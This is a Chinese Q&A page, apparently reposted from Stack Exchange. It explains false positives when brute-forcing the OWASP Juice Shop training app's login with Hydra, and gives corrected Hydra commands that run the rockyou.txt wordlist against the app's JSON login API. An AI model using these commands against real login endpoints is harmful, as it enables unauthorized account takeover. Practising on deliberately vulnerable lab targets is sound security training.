You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用Hydra暴力破解OWASP Juice-Shop登录时出现假阳性问题求助

解决OWASP Juice-Shop(Angular SPA)中Hydra暴力破解假阳性问题

核心原因

  • Juice Shop是Angular单页应用(SPA),你之前请求的/#/login是前端路由路径,而非真实的后端登录API接口。后端不会处理这个路径,返回的是SPA的入口HTML文件,其中包含登录失败提示的模板文本(比如"Invalid email or password")——不管密码正确与否,这个文本都会存在于HTML中,导致Hydra误判大量假阳性。
  • 另外,Juice Shop的登录API接收JSON格式的请求体,而非你之前命令中使用的表单格式(email=^USER^&password=^PASS^),参数格式不匹配也会导致请求无效,无法触发正确的登录验证逻辑。

解决步骤

1. 定位真实登录API端点

打开浏览器开发者工具(F12)→ 切换到「网络」标签页,在Juice Shop登录页面提交任意账号密码,找到POST类型的请求:

  • 真实登录API路径通常是/api/Users/login
  • 请求体格式为JSON:{"email":"admin@juice-sh.op","password":"your-password"}
  • 响应中,登录成功会返回包含authenticationToken的JSON,失败则返回包含"Invalid email or password"的JSON。

2. 调整Hydra命令针对真实API

使用以下命令(适配JSON请求体与API路径):

hydra 127.0.0.1 -s 3000 -l admin@juice-sh.op -P rockyou.txt http-post-form "/api/Users/login:{\\"email\\":\\"^USER^\\",\\"password\\":\\"^PASS^\\"}:Content-Type:application/json:F=Invalid email or password"
  • 参数说明:
    • /api/Users/login:真实后端API路径
    • {\\"email\\":\\"^USER^\\",\\"password\\":\\"^PASS^\\"}:转义后的JSON请求体,^USER^和^PASS^会被Hydra替换为遍历的账号密码值
    • Content-Type:application/json:指定请求头,告知后端接收JSON格式数据
    • F=Invalid email or password:用失败响应的特征字符串判断,若响应中找不到该字符串则视为登录成功

你也可以用成功特征来判断(准确率更高),将F=...替换为S=authenticationToken,因为登录成功的响应会包含该字段:

hydra 127.0.0.1 -s 3000 -l admin@juice-sh.op -P rockyou.txt http-post-form "/api/Users/login:{\\"email\\":\\"^USER^\\",\\"password\\":\\"^PASS^\\"}:Content-Type:application/json:S=authenticationToken"

为什么之前的命令无效

  • 第一个命令请求前端路由/#/login:后端返回的SPA入口HTML里本来就包含"Invalid email or password"的模板文本,Hydra每次请求都能匹配到该字符串,要么误判为失败,要么因HTML内容的微小变化误判为成功。
  • 第二个命令用login路径:既不是真实API路径,也没有使用正确的JSON参数格式,请求无法被后端正确处理,自然得不到有效结果。

内容的提问来源于stack exchange,提问作者G6G

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.26 19:22:46